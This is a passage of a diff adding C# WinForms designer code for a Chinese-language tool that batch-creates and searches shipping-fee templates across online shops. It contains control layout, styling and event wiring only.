System.Windows.Forms.AnchorStyles.Left; + this.txtWeightOrCountStep1.Location = new System.Drawing.Point(186, 0); + this.txtWeightOrCountStep1.Margin = new System.Windows.Forms.Padding(0); + this.txtWeightOrCountStep1.Name = "txtWeightOrCountStep1"; + this.txtWeightOrCountStep1.Size = new System.Drawing.Size(45, 23); + this.txtWeightOrCountStep1.TabIndex = 606; + // + // lblWeightOrCountStep1 + // + this.lblWeightOrCountStep1.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblWeightOrCountStep1.AutoSize = true; + this.lblWeightOrCountStep1.Location = new System.Drawing.Point(231, 3); + this.lblWeightOrCountStep1.Margin = new System.Windows.Forms.Padding(0); + this.lblWeightOrCountStep1.Name = "lblWeightOrCountStep1"; + this.lblWeightOrCountStep1.Size = new System.Drawing.Size(56, 17); + this.lblWeightOrCountStep1.TabIndex = 607; + this.lblWeightOrCountStep1.Text = "件以内,"; + // + // txtWeightOrCountPrice1 + // + this.txtWeightOrCountPrice1.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtWeightOrCountPrice1.Location = new System.Drawing.Point(287, 0); + this.txtWeightOrCountPrice1.Margin = new System.Windows.Forms.Padding(0); + this.txtWeightOrCountPrice1.Name = "txtWeightOrCountPrice1"; + this.txtWeightOrCountPrice1.Size = new System.Drawing.Size(45, 23); + this.txtWeightOrCountPrice1.TabIndex = 608; + // + // label5 + // + this.label5.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(332, 3); + this.label5.Margin = new System.Windows.Forms.Padding(0); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(32, 17); + this.label5.TabIndex = 609; + this.label5.Text = "元,"; + // + // label6 + // + this.label6.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(364, 3); + this.label6.Margin = new System.Windows.Forms.Padding(0); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(44, 17); + this.label6.TabIndex = 610; + this.label6.Text = "每增加"; + // + // txtWeightOrCountStep2 + // + this.txtWeightOrCountStep2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtWeightOrCountStep2.Location = new System.Drawing.Point(408, 0); + this.txtWeightOrCountStep2.Margin = new System.Windows.Forms.Padding(0); + this.txtWeightOrCountStep2.Name = "txtWeightOrCountStep2"; + this.txtWeightOrCountStep2.Size = new System.Drawing.Size(45, 23); + this.txtWeightOrCountStep2.TabIndex = 611; + // + // lblWeightOrCountStep2 + // + this.lblWeightOrCountStep2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.lblWeightOrCountStep2.AutoSize = true; + this.lblWeightOrCountStep2.Location = new System.Drawing.Point(453, 3); + this.lblWeightOrCountStep2.Margin = new System.Windows.Forms.Padding(0); + this.lblWeightOrCountStep2.Name = "lblWeightOrCountStep2"; + this.lblWeightOrCountStep2.Size = new System.Drawing.Size(80, 17); + this.lblWeightOrCountStep2.TabIndex = 612; + this.lblWeightOrCountStep2.Text = "件,增加运费"; + // + // txtWeightOrCountPrice2 + // + this.txtWeightOrCountPrice2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtWeightOrCountPrice2.Location = new System.Drawing.Point(533, 0); + this.txtWeightOrCountPrice2.Margin = new System.Windows.Forms.Padding(0); + this.txtWeightOrCountPrice2.Name = "txtWeightOrCountPrice2"; + this.txtWeightOrCountPrice2.Size = new System.Drawing.Size(45, 23); + this.txtWeightOrCountPrice2.TabIndex = 613; + // + // label8 + // + this.label8.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(578, 3); + this.label8.Margin = new System.Windows.Forms.Padding(0); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(20, 17); + this.label8.TabIndex = 614; + this.label8.Text = "元"; + // + // panel2 + // + this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel2.Controls.Add(this.textBox2); + this.panel2.Controls.Add(this.btnSetNotArea); + this.panel2.Location = new System.Drawing.Point(151, 59); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(483, 23); + this.panel2.TabIndex = 638; + // + // textBox2 + // + this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox2.Location = new System.Drawing.Point(0, 0); + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(417, 23); + this.textBox2.TabIndex = 638; + // + // btnSetNotArea + // + this.btnSetNotArea.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSetNotArea.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetNotArea.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetNotArea.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetNotArea.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetNotArea.Location = new System.Drawing.Point(423, 2); + this.btnSetNotArea.Name = "btnSetNotArea"; + this.btnSetNotArea.Size = new System.Drawing.Size(56, 19); + this.btnSetNotArea.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetNotArea.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetNotArea.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetNotArea.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetNotArea.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetNotArea.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetNotArea.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetNotArea.Style.GradientAngle = 90; + this.btnSetNotArea.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetNotArea.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetNotArea.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetNotArea.TabIndex = 634; + this.btnSetNotArea.Text = "设置地区"; + this.btnSetNotArea.Click += new System.EventHandler(this.btnSetNotArea_Click); + // + // nudGroupCount + // + this.nudGroupCount.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.nudGroupCount.Location = new System.Drawing.Point(75, 29); + this.nudGroupCount.Maximum = new decimal(new int[] { + 10000, + 0, + 0, + 0}); + this.nudGroupCount.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudGroupCount.Name = "nudGroupCount"; + this.nudGroupCount.Size = new System.Drawing.Size(49, 23); + this.nudGroupCount.TabIndex = 603; + this.nudGroupCount.Value = new decimal(new int[] { + 10, + 0, + 0, + 0}); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(18, 32); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(68, 17); + this.label11.TabIndex = 602; + this.label11.Text = "新建数量:"; + // + // panel1 + // + this.panel1.Controls.Add(this.btnSetName); + this.panel1.Controls.Add(this.rbCustomName); + this.panel1.Controls.Add(this.rbAutoName); + this.panel1.Controls.Add(this.label7); + this.panel1.Location = new System.Drawing.Point(380, 29); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(254, 23); + this.panel1.TabIndex = 601; + // + // btnSetName + // + this.btnSetName.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnSetName.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSetName.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetName.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSetName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetName.Location = new System.Drawing.Point(194, 2); + this.btnSetName.Name = "btnSetName"; + this.btnSetName.Size = new System.Drawing.Size(56, 19); + this.btnSetName.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetName.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSetName.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSetName.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSetName.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSetName.Style.GradientAngle = 90; + this.btnSetName.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSetName.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSetName.TabIndex = 634; + this.btnSetName.Text = "设置名称"; + this.btnSetName.Click += new System.EventHandler(this.btnSetName_Click); + // + // rbCustomName + // + this.rbCustomName.AutoSize = true; + this.rbCustomName.Location = new System.Drawing.Point(133, 1); + this.rbCustomName.Name = "rbCustomName"; + this.rbCustomName.Size = new System.Drawing.Size(62, 21); + this.rbCustomName.TabIndex = 465; + this.rbCustomName.Text = "自定义"; + this.rbCustomName.UseVisualStyleBackColor = true; + // + // rbAutoName + // + this.rbAutoName.AutoSize = true; + this.rbAutoName.Checked = true; + this.rbAutoName.Location = new System.Drawing.Point(60, 1); + this.rbAutoName.Name = "rbAutoName"; + this.rbAutoName.Size = new System.Drawing.Size(74, 21); + this.rbAutoName.TabIndex = 464; + this.rbAutoName.TabStop = true; + this.rbAutoName.Text = "自动设置"; + this.rbAutoName.UseVisualStyleBackColor = true; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(1, 3); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(68, 17); + this.label7.TabIndex = 638; + this.label7.Text = "模板名称:"; + // + // btnAdd + // + this.btnAdd.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnAdd.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAdd.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAdd.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAdd.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAdd.Location = new System.Drawing.Point(642, 29); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(80, 23); + this.btnAdd.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnAdd.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnAdd.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnAdd.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnAdd.Style.GradientAngle = 90; + this.btnAdd.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAdd.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnAdd.TabIndex = 427; + this.btnAdd.Text = "开始创建"; + this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click); + // + // btnStopAdd + // + this.btnStopAdd.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStopAdd.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStopAdd.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStopAdd.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStopAdd.Location = new System.Drawing.Point(642, 59); + this.btnStopAdd.Name = "btnStopAdd"; + this.btnStopAdd.Size = new System.Drawing.Size(80, 23); + this.btnStopAdd.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopAdd.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopAdd.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStopAdd.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStopAdd.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopAdd.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStopAdd.Style.GradientAngle = 90; + this.btnStopAdd.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopAdd.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStopAdd.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopAdd.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStopAdd.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStopAdd.TabIndex = 405; + this.btnStopAdd.Text = "停止创建"; + this.btnStopAdd.Click += new System.EventHandler(this.btnStopAdd_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.txtSearchText); + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.btnSearch); + this.ucGroupBoxEx2.Controls.Add(this.btnStop); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(239, 150); + this.ucGroupBoxEx2.TabIndex = 469; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "搜索运费模板"; + // + // txtSearchText + // + this.txtSearchText.Location = new System.Drawing.Point(73, 29); + this.txtSearchText.Name = "txtSearchText"; + this.txtSearchText.Size = new System.Drawing.Size(146, 23); + this.txtSearchText.TabIndex = 594; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(16, 32); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 474; + this.label4.Text = "模板名称"; + // + // btnSearch + // + this.btnSearch.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSearch.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSearch.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSearch.Location = new System.Drawing.Point(73, 59); + this.btnSearch.Name = "btnSearch"; + this.btnSearch.Size = new System.Drawing.Size(70, 23); + this.btnSearch.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSearch.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSearch.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSearch.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSearch.Style.GradientAngle = 90; + this.btnSearch.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearch.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSearch.TabIndex = 427; + this.btnSearch.Text = "开始搜索"; + this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); + // + // btnStop + // + this.btnStop.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStop.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStop.Location = new System.Drawing.Point(149, 59); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(70, 23); + this.btnStop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStop.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStop.Style.GradientAngle = 90; + this.btnStop.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStop.TabIndex = 405; + this.btnStop.Text = "停止搜索"; + this.btnStop.Click += new System.EventHandler(this.btnStopSearch_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 150); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefreshShop + // + this.btnRefreshShop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefreshShop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.DisabledBackColor = System.Drawing.Color.Empty; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.Location = new System.Drawing.Point(17, 31); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(110, 24); + this.btnRefreshShop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnRefreshShop.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnRefreshShop.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnRefreshShop.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnRefreshShop.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnRefreshShop.Style.GradientAngle = 90; + this.btnRefreshShop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnRefreshShop.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnRefreshShop.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnRefreshShop.TabIndex = 431; + this.btnRefreshShop.Text = "刷新店铺"; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1127, 438); + this.splitContainer3.SplitterDistance = 408; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1127, 408); + this.splitContainer2.SplitterDistance = 270; + this.splitContainer2.TabIndex = 0; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colBuyAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(266, 408); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colBuyAuthStatus + // + this.colBuyAuthStatus.HeaderText = "授权状态"; + this.colBuyAuthStatus.Name = "colBuyAuthStatus"; + this.colBuyAuthStatus.ReadOnly = true; + this.colBuyAuthStatus.Width = 65; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 65; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCanUse.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCanUse.Visible = false; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Visible = false; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.ucTabControl1); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(849, 